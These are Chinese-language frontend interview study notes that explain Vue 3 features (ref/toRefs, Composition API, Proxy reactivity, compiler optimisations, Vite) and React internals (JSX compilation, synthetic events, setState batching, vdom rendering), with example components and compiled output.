- 小型项目、业务逻辑简单,用
Option API
成本更小一些 - 中大型项目、逻辑复杂,用
Composition API
# ref如何使用
ref
- 生成值类型的响应式数据
- 可用于模板和
reactive
- 通过
.value
修改值
<template>
<p>ref demo {{ageRef}} {{state.name}}</p>
</template>
<script>
import { ref, reactive } from 'vue'
export default {
name: 'Ref',
setup() {
const ageRef = ref(20) // 值类型 响应式
const nameRef = ref('test')
const state = reactive({
name: nameRef
})
setTimeout(() => {
console.log('ageRef', ageRef.value)
ageRef.value = 25 // .value 修改值
nameRef.value = 'testA'
}, 1500);
return {
ageRef,
state
}
}
}
</script>
<!-- ref获取dom节点 -->
<template>
<p ref="elemRef">我是一行文字</p>
</template>
<script>
import { ref, onMounted } from 'vue'
export default {
name: 'RefTemplate',
setup() {
const elemRef = ref(null)
onMounted(() => {
console.log('ref template', elemRef.value.innerHTML, elemRef.value)
})
return {
elemRef
}
}
}
</script>
# toRef和toRefs如何使用和最佳方式
toRef
- 针对一个响应式对象(
reactive
封装的)的一个属性,创建一个ref
,具有响应式 - 两者保持引用关系
toRefs
- 将响应式对象(
reactive
封装的)转化为普通对象 - 对象的每个属性都是对象的
ref
- 两者保持引用关系
合成函数返回响应式对象
最佳使用方式
- 用
reactive
做对象的响应式,用ref
做值类型响应式(基本类型) setup
中返回toRefs(state)
,或者toRef(state, 'prop')
ref
的变量命名都用xxRef
- 合成函数返回响应式对象时,使用
toRefs
,有助于使用方对数据进行解构时,不丢失响应式
<template>
<p>toRef demo - {{ageRef}} - {{state.name}} {{state.age}}</p>
</template>
<script>
import { ref, toRef, reactive } from 'vue'
export default {
name: 'ToRef',
setup() {
const state = reactive({
age: 20,
name: 'test'
})
const age1 = computed(() => {
return state.age + 1
})
// toRef 如果用于普通对象(非响应式对象),产出的结果不具备响应式
// const state = {
// age: 20,
// name: 'test'
// }
// 一个响应式对象state其中一个属性要单独拿出来实现响应式用toRef
const ageRef = toRef(state, 'age')
setTimeout(() => {
state.age = 25
}, 1500)
setTimeout(() => {
ageRef.value = 30 // .value 修改值
}, 3000)
return {
state,
ageRef
}
}
}
</script>
<template>
<p>toRefs demo {{age}} {{name}}</p>
</template>
<script>
import { ref, toRef, toRefs, reactive } from 'vue'
export default {
name: 'ToRefs',
setup() {
const state = reactive({
age: 20,
name: 'test'
})
const stateAsRefs = toRefs(state) // 将响应式对象,变成普通对象
// const { age: ageRef, name: nameRef } = stateAsRefs // 每个属性,都是 ref 对象
// return {
// ageRef,
// nameRef
// }
setTimeout(() => {
state.age = 25
}, 1500)
return stateAsRefs
}
}
</script>
# 深入理解为什么需要ref、toRef、toRefs
为什么需要用 ref
- 返回值类型,会丢失响应式
- 如在
setup
、computed
、合成函数,都有可能返回值类型 Vue
如不定义ref
,用户将制造ref
,反而更混乱
为何ref需要.value属性
ref
是一个对象(不丢失响应式),value
存储值- 通过
.value
属性的get
和set
实现响应式 - 用于模板、
reactive
时,不需要.value
,其他情况都要
为什么需要toRef和toRefs
- 初衷:不丢失响应式的情况下,把对象数据
分解/扩散
- 前端:针对的是响应式对象(
reactive
封装的)非普通对象 - 注意:不创造响应式,而是延续响应式
<template>
<p>why ref demo {{state.age}} - {{age1}}</p>
</template>
<script>
import { ref, toRef, toRefs, reactive, computed } from 'vue'
function useFeatureX() {
const state = reactive({
x: 1,
y: 2
})
return toRefs(state)
}
export default {
name: 'WhyRef',
setup() {
// 解构不丢失响应式
const { x, y } = useFeatureX()
const state = reactive({
age: 20,
name: 'test'
})
// computed 返回的是一个类似于 ref 的对象,也有 .value
const age1 = computed(() => {
return state.age + 1
})
setTimeout(() => {
state.age = 25
}, 1500)
return {
state,
age1,
x,
y
}
}
}
</script>
# vue3升级了哪些重要功能
1. createApp
// vue2
const app = new Vue({/**选项**/})
Vue.use(/****/)
Vue.mixin(/****/)
Vue.component(/****/)
Vue.directive(/****/)
// vue3
const app = createApp({/**选项**/})
app.use(/****/)
app.mixin(/****/)
app.component(/****/)
app.directive(/****/)
2. emits属性
// 父组件
<Hello :msg="msg" @onSayHello="sayHello">
// 子组件
export default {
name: 'Hello',
props: {
msg: String
},
emits: ['onSayHello'], // 声明emits
setup(props, {emit}) {
emit('onSayHello', 'aaa')
}
}
3. 多事件
<!-- 定义多个事件 -->
<button @click="one($event),two($event)">提交</button>
4. Fragment
<!-- vue2 -->
<template>
<div>
<h2>{{title}}</h2>
<p>test</p>
</div>
</template>
<!-- vue3:不在使用div节点包裹 -->
<template>
<h2>{{title}}</h2>
<p>test</p>
</template>
5. 移除.sync
<!-- vue2 -->
<MyComponent :title.sync="title" />
<!-- vue3 简写 -->
<MyComponent v-model:title="title" />
<!-- 非简写 -->
<MyComponent :title="title" @update:title="title = $event" />
.sync用法
父组件把属性给子组件,子组件修改了后还能同步到父组件中来
<template>
<button @click="close">关闭</button>
</template>
<script>
export default {
props: {
isVisible: {
type: Boolean,
default: false
}
},
methods: {
close () {
this.$emit('update:isVisible', false);
}
}
};
</script>
<!-- 父组件使用 -->
<chlid-component :isVisible.sync="isVisible"></chlid-component>
<text-doc :title="doc.title" @update:title="doc.title = $event"></text-doc>
<!-- 为了方便期间,为这种模式提供一个简写 .sync -->
<text-doc :title.sync="doc.title" />
6. 异步组件的写法
// vue2写法
new Vue({
components: {
'my-component': ()=>import('./my-component.vue')
}
})
// vue3写法
import {createApp, defineAsyncComponent} from 'vue'
export default {
components: {
AsyncComponent: defineAsyncComponent(()=>import('./AsyncComponent.vue'))
}
}
7. 移除filter
<!-- 以下filter在vue3中不可用了 -->
<!-- 在花括号中 -->
{message | capitalize}
<!-- 在v-bind中 -->
<div v-bind:id="rawId | formatId"></div>
8. Teleport
<button @click="modalOpen = true">
open
</button>
<!-- 通过teleport把弹窗放到body下 -->
<teleport to="body">
<div v-if="modalOpen" classs="modal">
<div>
teleport弹窗,父元素是body
<button @click="modalOpen = false">close</button>
</div>
</div>
</teleport>
9. Suspense
<Suspense>
<template>
<!-- 异步组件 -->
<Test1 />
</template>
<!-- fallback是一个具名插槽,即Suspense内部有两个slot,一个具名插槽fallback -->
<template #fallback>
loading...
</template>
</Suspense>
10. Composition API
reactive
ref
readonly
watch
和watchEffect
setup
- 生命周期钩子函数
# Composition API 如何实现逻辑复用
- 抽离逻辑代码到一个函数
- 函数命名约定为
useXx
格式(React Hooks
也是) - 在
setup
中引用useXx
函数
<template>
<p>mouse position {{x}} {{y}}</p>
</template>
<script>
import { reactive } from 'vue'
import useMousePosition from './useMousePosition'
// import useMousePosition2 from './useMousePosition'
export default {
name: 'MousePosition',
setup() {
const { x, y } = useMousePosition()
return {
x,
y
}
// const state = useMousePosition2()
// return {
// state
// }
}
}
</script>
import { reactive, ref, onMounted, onUnmounted } from 'vue'
function useMousePosition() {
const x = ref(0)
const y = ref(0)
function update(e) {
x.value = e.pageX
y.value = e.pageY
}
onMounted(() => {
console.log('useMousePosition mounted')
window.addEventListener('mousemove', update)
})
onUnmounted(() => {
console.log('useMousePosition unMounted')
window.removeEventListener('mousemove', update)
})
// 合成函数尽量返回ref或toRefs(state) state = reactive({})
// 这样在使用的时候可以解构但不丢失响应式
return {
x,
y
}
}
// function useMousePosition2() {
// const state = reactive({
// x: 0,
// y: 0
// })
// function update(e) {
// state.x = e.pageX
// state.y = e.pageY
// }
// onMounted(() => {
// console.log('useMousePosition mounted')
// window.addEventListener('mousemove', update)
// })
// onUnmounted(() => {
// console.log('useMousePosition unMounted')
// window.removeEventListener('mousemove', update)
// })
// return state
// }
export default useMousePosition
// export default useMousePosition2
# Vue3如何实现响应式
- 回顾
vue2
的Object.defineProperty
- 缺点
- 深度监听对象需要一次性递归
- 无法监听新增属性、删除属性(
Vue.set
、Vue.delete
) - 无法监听原生数组,需要特殊处理
- 学习
proxy
语法 Vue3
中如何使用proxy
实现响应式
# Proxy 基本使用
// const data = {
// name: 'zhangsan',
// age: 20,
// }
const data = ['a', 'b', 'c']
const proxyData = new Proxy(data, {
get(target, key, receiver) {
// 只处理本身(非原型的)属性
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('get', key) // 监听
}
const result = Reflect.get(target, key, receiver)
return result // 返回结果
},
set(target, key, val, receiver) {
// 重复的数据,不处理
if (val === target[key]) {
return true
}
const result = Reflect.set(target, key, val, receiver)
console.log('set', key, val)
// console.log('result', result) // true
return result // 是否设置成功
},
deleteProperty(target, key) {
const result = Reflect.deleteProperty(target, key)
console.log('delete property', key)
// console.log('result', result) // true
return result // 是否删除成功
}
})
# vue3用Proxy 实现响应式
- 深度监听,性能更好(获取到哪一层才触发响应式
get
,不是一次性递归) - 可监听
新增/删除
属性 - 可监听数组变化
// 创建响应式
function reactive(target = {}) {
if (typeof target !== 'object' || target == null) {
// 不是对象或数组,则返回
return target
}
// 代理配置
const proxyConf = {
get(target, key, receiver) {
// 只处理本身(非原型的)属性
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('get', key) // 监听
}
const result = Reflect.get(target, key, receiver)
// 深度监听
// 性能如何提升的?获取到哪一层才触发响应式get,不是一次性递归
return reactive(result)
},
set(target, key, val, receiver) {
// 重复的数据,不处理
if (val === target[key]) {
return true
}
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('已有的 key', key)
} else {
console.log('新增的 key', key)
}
const result = Reflect.set(target, key, val, receiver)
console.log('set', key, val)
// console.log('result', result) // true
return result // 是否设置成功
},
deleteProperty(target, key) {
const result = Reflect.deleteProperty(target, key)
console.log('delete property', key)
// console.log('result', result) // true
return result // 是否删除成功
}
}
// 生成代理对象
const observed = new Proxy(target, proxyConf)
return observed
}
// 测试数据
const data = {
name: 'zhangsan',
age: 20,
info: {
city: 'shenshen',
a: {
b: {
c: {
d: {
e: 100
}
}
}
}
}
}
const proxyData = reactive(data)
# v-model参数的用法
<!-- UserInfo组件 -->
<template>
<input :value="name" @input="$emit('update:name', $event.target.value)"/>
<input :value="age" @input="$emit('update:age', $event.target.value)"/>
</template>
<script>
export default {
name: 'UserInfo',
props: {
name: String,
age: String
}
}
</script>
<!-- 使用 -->
<user-info
v-model:name="name"
v-model:age="age"
></user-info>
# watch和watchEffect的区别
- 两者都可以监听
data
属性变化 watch
需要明确监听哪个属性watchEffect
会根据其中的属性,自动监听其变化
<template>
<p>watch vs watchEffect</p>
<p>{{numberRef}}</p>
<p>{{name}} {{age}}</p>
</template>
<script>
import { reactive, ref, toRefs, watch, watchEffect } from 'vue'
export default {
name: 'Watch',
setup() {
const numberRef = ref(100)
const state = reactive({
name: 'test',
age: 20
})
watchEffect(() => {
// 初始化时,一定会执行一次(收集要监听的数据)
console.log('hello watchEffect')
})
watchEffect(() => {
console.log('state.name', state.name)
})
watchEffect(() => {
console.log('state.age', state.age)
})
watchEffect(() => {
console.log('state.age', state.age)
console.log('state.name', state.name)
})
setTimeout(() => {
state.age = 25
}, 1500)
setTimeout(() => {
state.name = 'testA'
}, 3000)
// ref直接写
// watch(numberRef, (newNumber, oldNumber) => {
// console.log('ref watch', newNumber, oldNumber)
// }
// // , {
// // immediate: true // 初始化之前就监听,可选
// // }
// )
// setTimeout(() => {
// numberRef.value = 200
// }, 1500)
// watch(
// // 第一个参数,确定要监听哪个属性
// () => state.age,
// // 第二个参数,回调函数
// (newAge, oldAge) => {
// console.log('state watch', newAge, oldAge)
// },
// // 第三个参数,配置项
// {
// immediate: true, // 初始化之前就监听,可选
// // deep: true // 深度监听
// }
// )
// setTimeout(() => {
// state.age = 25
// }, 1500)
// setTimeout(() => {
// state.name = 'PoetryA'
// }, 3000)
return {
numberRef,
...toRefs(state)
}
}
}
</script>
# setup中如何获取组件实例
- 在
setup
和其他composition API
中没有this
- 通过
getCurrentInstance
获取当前实例 - 若使用
options API
可以照常使用this
import { onMounted, getCurrentInstance } from 'vue'
export default {
name: 'GetInstance',
data() {
return {
x: 1,
y: 2
}
},
setup() { // setup是beforeCreate created合集 组件还没正式初始化
console.log('this1', this) // undefined
onMounted(() => {
console.log('this in onMounted', this) // undefined
console.log('x', instance.data.x) // 1 onMounted中组件已经初始化了
})
const instance = getCurrentInstance()
console.log('instance', instance)
},
mounted() {
console.log('this2', this)
console.log('y', this.y)
}
}
# Vue3为何比Vue2快
proxy
响应式:深度监听,性能更好(获取到哪一层才触发响应式get
,不是一次性递归)PatchFlag
动态节点做标志HoistStatic
将静态节点的定义,提升到父作用域,缓存起来。多个相邻的静态节点,会被合并起来CacheHandler
事件缓存SSR
优化: 静态节点不走vdom
逻辑,直接输出字符串,动态节点才走Tree-shaking
根据模板的内容动态import
不同的内容,不需要就不import
# 什么是PatchFlag
- 模板编译时,动态节点做标记
- 标记,分为不同类型,如
Text
、PROPS
、CLASS
diff
算法时,可区分静态节点,以及不同类型的动态节点
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->
<div>
<span>hello vue3</span>
<span>{{msg}}</span>
<span :class="name">poetry</span>
<span :id="name">poetry</span>
<span :id="name">{{msg}}</span>
<span :id="name" :msg="msg">poetry</span>
</div>
// 编译后结果
import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, normalizeClass as _normalizeClass, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_createElementVNode("span", null, "hello vue3"),
_createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */), // 文本标记1
_createElementVNode("span", {
class: _normalizeClass(_ctx.name)
}, "poetry", 2 /* CLASS */), // class标记2
_createElementVNode("span", { id: _ctx.name }, "poetry", 8 /* PROPS */, ["id"]), // 属性props标记8
_createElementVNode("span", { id: _ctx.name }, _toDisplayString(_ctx.msg), 9 /* TEXT, PROPS */, ["id"]), // 文本和属性组合标记9
_createElementVNode("span", {
id: _ctx.name,
msg: _ctx.msg
}, "poetry", 8 /* PROPS */, ["id", "msg"]) // 属性组合标记
]))
}
# 什么是HoistStatic和CacheHandler
HoistStatic
- 将静态节点的定义,提升到父作用域,缓存起来
- 多个相邻的静态节点,会被合并起来
- 典型的拿空间换时间的优化策略
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<div>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>{{msg}}</span>
</div>
// 编译结果
import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
// 之后函数怎么执行,这些变量都不会被重复定义一遍
const _hoisted_1 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_2 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_3 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_hoisted_1,
_hoisted_2,
_hoisted_3,
_createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
]))
}
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<!-- 当相同的节点达到一定阈值后会被vue3合并起来 -->
<div>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>{{msg}}</span>
</div>
// 编译之后
import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, createStaticVNode as _createStaticVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
// 多个相邻的静态节点,会被合并起来
const _hoisted_1 = /*#__PURE__*/_createStaticVNode("<span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span>", 10)
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_hoisted_1,
_createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
]))
}
CacheHandler 缓存事件
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启cacheHandler -->
<div>
<span @click="clickHandler">hello vue3</span>
</div>
// 编译之后
import { createElementVNode as _createElementVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
_createElementVNode("span", {
onClick: _cache[0] || (_cache[0] = (...args) => (_ctx.clickHandler && _ctx.clickHandler(...args)))
}, "hello vue3")
]))
}
# SSR和Tree-shaking的优化
SSR优化
- 静态节点直接输出,绕过了
vdom
- 动态节点,还是需要动态渲染
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启ssr -->
<div>
<span>hello vue3</span>
<span>hello vue3</span>
<span>hello vue3</span>
<span>{{msgs}}</span>
</div>
// 编译之后
import { mergeProps as _mergeProps } from "vue"
import { ssrRenderAttrs as _ssrRenderAttrs, ssrInterpolate as _ssrInterpolate } from "vue/server-renderer"
export function ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) {
const _cssVars = { style: { color: _ctx.color }}
_push(`<div${
_ssrRenderAttrs(_mergeProps(_attrs, _cssVars))
}><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>${ // 静态节点直接输出
_ssrInterpolate(_ctx.msgs)
}</span></div>`)
}
Tree Shaking优化
编译时,根据不同的情况,引入不同的
API
,不会全部引用
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->
<div>
<span v-if="msg">hello vue3</span>
<input v-model="msg" />
</div>
// 编译之后
// 模板编译会根据模板写法 指令 插值以及用了特别的功能去动态的import相应的接口,需要什么就import什么,这就是tree shaking
import { openBlock as _openBlock, createElementBlock as _createElementBlock, createCommentVNode as _createCommentVNode, vModelText as _vModelText, createElementVNode as _createElementVNode, withDirectives as _withDirectives } from "vue"
export function render(_ctx, _cache, $props, $setup, $data, $options) {
return (_openBlock(), _createElementBlock("div", null, [
(_ctx.msg)
? (_openBlock(), _createElementBlock("span", { key: 0 }, "hello vue3"))
: _createCommentVNode("v-if", true),
_withDirectives(_createElementVNode("input", {
"onUpdate:modelValue": $event => ((_ctx.msg) = $event)
}, null, 8 /* PROPS */, ["onUpdate:modelValue"]), [
[_vModelText, _ctx.msg]
])
]))
}
# Vite 为什么启动非常快
- 开发环境使用
Es6 Module
,无需打包,非常快 - 生产环境使用
rollup
,并不会快很多
ES Module 在浏览器中的应用
<p>基本演示</p>
<script type="module">
import add from './src/add.js'
const res = add(1, 2)
console.log('add res', res)
</script>
<script type="module">
import { add, multi } from './src/math.js'
console.log('add res', add(10, 20))
console.log('multi res', multi(10, 20))
</script>
<p>外链引用</p>
<script type="module" src="./src/index.js"></script>
<p>远程引用</p>
<script type="module">
import { createStore } from 'https://unpkg.com/redux@latest/es/redux.mjs' // es module规范mjs
console.log('createStore', createStore)
</script>
<p>动态引入</p>
<button id="btn1">load1</button>
<button id="btn2">load2</button>
<script type="module">
document.getElementById('btn1').addEventListener('click', async () => {
const add = await import('./src/add.js')
const res = add.default(1, 2)
console.log('add res', res)
})
document.getElementById('btn2').addEventListener('click', async () => {
const { add, multi } = await import('./src/math.js')
console.log('add res', add(10, 20))
console.log('multi res', multi(10, 20))
})
</script>
# Composition API 和 React Hooks 的对比
- 前者
setup
(相当于created
、beforeCreate
的合集)只会调用一次,而React Hooks
函数在渲染过程中会被多次调用 Composition API
无需使用useMemo
、useCallback
,因为setup
只会调用一次,在setup
闭包中缓存了变量Composition API
无需顾虑调用顺序,而React Hooks
需要保证hooks
的顺序一致(比如不能放在循环、判断里面)Composition API
的ref
、reactive
比useState
难理解
# 6 React
# JSX本质
React.createElement
即h
函数,返回vnode
- 第一个参数,可能是组件,也可能是
html tag
- 组件名,首字母必须是大写(
React
规定)
// React.createElement写法
React.createElement('tag', null, [child1,child2])
React.createElement('tag', props, child1,child2,child3)
React.createElement(Comp, props, child1,child2,'文本节点')
// jsx基本用法
<div className="container">
<p>tet</p>
<img src={imgSrc} />
</div>
// 编译后 https://babeljs.io/repl
React.createElement(
"div",
{
className: "container"
},
React.createElement("p", null, "tet"),
React.createElement("img", {
src: imgSrc
})
);
// jsx style
const styleData = {fontSize:'20px',color:'#f00'}
const styleElem = <p style={styleData}>设置style</p>
// 编译后
const styleData = {
fontSize: "20px",
color: "#f00"
};
const styleElem = React.createElement(
"p",
{
style: styleData
},
"\u8BBE\u7F6Estyle"
);
// jsx加载组件
const app = <div>
<Input submitTitle={onSubmitTitle} />
<List list={list} />
</div>
// 编译后
const app = React.createElement(
"div",
null,
React.createElement(Input, {
submitTitle: onSubmitTitle
}),
React.createElement(List, {
list: list
})
);
// jsx事件
const eventList = <p onClick={this.clickHandler}>text</p>
// 编译后
const eventList = React.createElement(
"p",
{
onClick: (void 0).clickHandler
},
"text"
);
// jsx列表
const listElem = <ul>
{
this.state.list.map((item,index)=>{
return <li key={index}>index:{index},title:{item.title}</li>
})
}
</ul>
// 编译后
const listElem = React.createElement(
"ul",
null,
(void 0).state.list.map((item, index) => {
return React.createElement(
"li",
{
key: index
},
"index:",
index,
",title:",
item.title
);
})
);
# React合成事件机制
React16
事件绑定到document
上React17
事件绑定到root
组件上,有利于多个react
版本共存,例如微前端event
不是原生的,是SyntheticEvent
合成事件对象- 和
Vue
不同,和DOM
事件也不同
合成事件图示
为何需要合成事件
- 更好的兼容性和跨平台,如
react native
- 挂载到
document
或root
上,减少内存消耗,避免频繁解绑 - 方便事件的统一管理(如事务机制)
// 获取 event
clickHandler3 = (event) => {
event.preventDefault() // 阻止默认行为
event.stopPropagation() // 阻止冒泡
console.log('target', event.target) // 指向当前元素,即当前元素触发
console.log('current target', event.currentTarget) // 指向当前元素,假象!!!
// 注意,event 其实是 React 封装的。可以看 __proto__.constructor 是 SyntheticEvent 组合事件
console.log('event', event) // 不是原生的 Event ,原生的 MouseEvent
console.log('event.__proto__.constructor', event.__proto__.constructor)
// 原生 event 如下。其 __proto__.constructor 是 MouseEvent
console.log('nativeEvent', event.nativeEvent)
console.log('nativeEvent target', event.nativeEvent.target) // 指向当前元素,即当前元素触发
console.log('nativeEvent current target', event.nativeEvent.currentTarget) // 指向 document !!!
// 1. event 是 SyntheticEvent ,模拟出来 DOM 事件所有能力
// 2. event.nativeEvent 是原生事件对象
// 3. 所有的事件,都被挂载到 document 上
// 4. 和 DOM 事件不一样,和 Vue 事件也不一样
}
# setState和batchUpdate机制
setState
在react事件、生命周期中是异步的(在react
上下文中是异步);在setTimeout
、自定义DOM
事件中是同步的- 有时合并(对象形式
setState({})
=> 通过Object.assign
形式合并对象),有时不合并(函数形式setState((prevState,nextState)=>{})
)
核心要点
1.setState
主流程
setState
是否是异步还是同步,看是否能命中batchUpdate
机制,判断isBatchingUpdates
- 哪些能命中
batchUpdate
机制- 生命周期
react
中注册的事件和它调用的函数- 总之在
react
的上下文中
- 哪些不能命中
batchUpdate
机制setTimeout
、setInterval
等- 自定义
DOM
事件 - 总之不在
react
的上下文中,react
管不到的
batchUpdate
机制
// setState batchUpdate原理模拟
let isBatchingUpdate = true;
let queue = [];
let state = {number:0};
function setState(newSate){
//state={...state,...newSate}
// setState异步更新
if(isBatchingUpdate){
queue.push(newSate);
}else{
// setState同步更新
state={...state,...newSate}
}
}
// react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
// 模拟react中事件点击
function handleClick(){
isBatchingUpdate=true; // 批量更新标志
/**我们自己逻辑开始 */
setState({number:state.number+1});
setState({number:state.number+1});
console.log(state); // 0
setState({number:state.number+1});
console.log(state); // 0
/**我们自己逻辑结束 */
state= queue.reduce((newState,action)=>{
return {...newState,...action}
},state);
isBatchingUpdate=false; // 执行结束设置false
}
handleClick();
console.log(state); // 1
transaction
事务机制
// setState现象演示
import React from 'react'
// 函数组件(后面会讲),默认没有 state
class StateDemo extends React.Component {
constructor(props) {
super(props)
// 第一,state 要在构造函数中定义
this.state = {
count: 0
}
}
render() {
return <div>
<p>{this.state.count}</p>
<button onClick={this.increase}>累加</button>
</div>
}
increase = () => {
// // 第二,不要直接修改 state ,使用不可变值 ----------------------------
// // this.state.count++ // 错误
// this.setState({
// count: this.state.count + 1 // SCU
// })
// 操作数组、对象的的常用形式
// 第三,setState 可能是异步更新(有可能是同步更新) ----------------------------
// this.setState({
// count: this.state.count + 1
// }, () => {
// // 联想 Vue $nextTick - DOM
// console.log('count by callback', this.state.count) // 回调函数中可以拿到最新的 state
// })
// console.log('count', this.state.count) // 异步的,拿不到最新值
// // setTimeout 中 setState 是同步的
// setTimeout(() => {
// this.setState({
// count: this.state.count + 1
// })
// console.log('count in setTimeout', this.state.count)
// }, 0)
// 自己定义的 DOM 事件,setState 是同步的。再 componentDidMount 中
// 第四,state 异步更新的话,更新前会被合并 ----------------------------
// 传入对象,会被合并(类似 Object.assign )。执行结果只一次 +1
// this.setState({
// count: this.state.count + 1
// })
// this.setState({
// count: this.state.count + 1
// })
// this.setState({
// count: this.state.count + 1
// })
// 传入函数,不会被合并。执行结果是 +3
this.setState((prevState, props) => {
return {
count: prevState.count + 1
}
})
this.setState((prevState, props) => {
return {
count: prevState.count + 1
}
})
this.setState((prevState, props) => {
return {
count: prevState.count + 1
}
})
}
// bodyClickHandler = () => {
// this.setState({
// count: this.state.count + 1
// })
// console.log('count in body event', this.state.count)
// }
// componentDidMount() {
// // 自己定义的 DOM 事件,setState 是同步的
// document.body.addEventListener('click', this.bodyClickHandler)
// }
// componentWillUnmount() {
// // 及时销毁自定义 DOM 事件
// document.body.removeEventListener('click', this.bodyClickHandler)
// // clearTimeout
// }
}
export default StateDemo
// -------------------------- 我是分割线 -----------------------------
// 不可变值(函数式编程,纯函数) - 数组
// const list5Copy = this.state.list5.slice()
// list5Copy.splice(2, 0, 'a') // 中间插入/删除
// this.setState({
// list1: this.state.list1.concat(100), // 追加
// list2: [...this.state.list2, 100], // 追加
// list3: this.state.list3.slice(0, 3), // 截取
// list4: this.state.list4.filter(item => item > 100), // 筛选
// list5: list5Copy // 其他操作
// })
// // 注意,不能直接对 this.state.list 进行 push pop splice 等,这样违反不可变值
// 不可变值 - 对象
// this.setState({
// obj1: Object.assign({}, this.state.obj1, {a: 100}),
// obj2: {...this.state.obj2, a: 100}
// })
// // 注意,不能直接对 this.state.obj 进行属性设置,这样违反不可变值
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
// componentDidMount中isBatchingUpdate=true setState批量更新
componentDidMount() {
// setState传入对象会合并,后面覆盖前面的Object.assign({})
this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
console.log(this.state.val)
// 第 1 次 log
this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
console.log(this.state.val)
// 第 2 次 log
setTimeout(() => {
// 到这里this.state.val结果等于1了
// 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
this.setState({ val: this.state.val + 1 }) // 同步更新
console.log(this.state.val)
// 第 3 次 log
this.setState({ val: this.state.val + 1 }) // 同步更新
console.log(this.state.val)
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
// 答案:0, 0, 2, 3
# 根据jsx写出vnode和render函数
<!-- jsx -->
<div className="container">
<p onClick={onClick} data-name="p1">
hello <b>{name}</b>
</p>
<img src={imgSrc} />
<MyComponent title={title}></MyComponent>
</div>
注意
- 注意
JSX
中的常量和变量 - 注意
JSX
中的HTML tag
和自定义组件
const vnode = {
tag: 'div',
props: {
className: 'container'
},
children: [
// <p>
{
tag: 'p',
props: {
dataset: {
name: 'p1'
},
on: {
click: onClick // 变量
}
},
children: [
'hello',
{
tag: 'b',
props: {},
children: [name] // name变量
}
]
},
// <img />
{
tag: 'img',
props: {
src: imgSrc // 变量
},
children: [/**无子节点**/]
},
// <MyComponent>
{
tag: MyComponent, // 变量
props: {
title: title, // 变量
},
children: [/**无子节点**/]
}
]
}
// render函数
function render() {
// h(tag, props, children)
return h('div', {
props: {
className: 'container'
}
}, [
// p
h('p', {
dataset: {
name: 'p1'
},
on: {
click: onClick
}
}, [
'hello',
h('b', {}, [name])
])
// img
h('img', {
props: {
src: imgSrc
}
}, [/**无子节点**/])
// MyComponent
h(MyComponent, {
title: title
}, [/**无子节点**/])
]
)
}
在react中jsx编译后
// 使用https://babeljs.io/repl编译后效果
React.createElement(
"div",
{
className: "container"
},
React.createElement(
"p",
{
onClick: onClick,
"data-name": "p1"
},
"hello ",
React.createElement("b", null, name)
),
React.createElement("img", {
src: imgSrc
}),
React.createElement(MyComponent, {
title: title
})
);
# 虚拟DOM(vdom)真的很快吗
virutal DOM
,虚拟DOM
- 用JS对象模拟
DOM
节点数据 vdom
并不快,JS
直接操作DOM
才是最快的- 以
vue
为例,data
变化 =>vnode diff
=> 更新DOM
肯定是比不过直接操作DOM
节点快的
- 以
- 但是"数据驱动视图"要有合适的技术方案,不能全部
DOM
重建 dom
就是目前最合适的技术方案(并不是因为它快,而是合适)- 在大型系统中,全部更新
DOM
的成本太高,使用vdom
把更新范围减少到最小
并不是所有的框架都在用
vdom
,svelte
就不用vdom
# react组件渲染过程
JSX
如何渲染为页面setState
之后如何更新页面- 面试考察全流程
1.组件渲染过程
- 分析
props
、state
变化render()
生成vnode
patch(elem, vnode)
渲染到页面上(react
并一定用patch
)
- 渲染过程
setState(newState)
=>newState
存入pending
队列,判断是否处于batchUpdate
状态,保存组件于dirtyComponents
中(可能有子组件)- 遍历所有的
dirtyComponents
调用updateComponent
生成newVnode
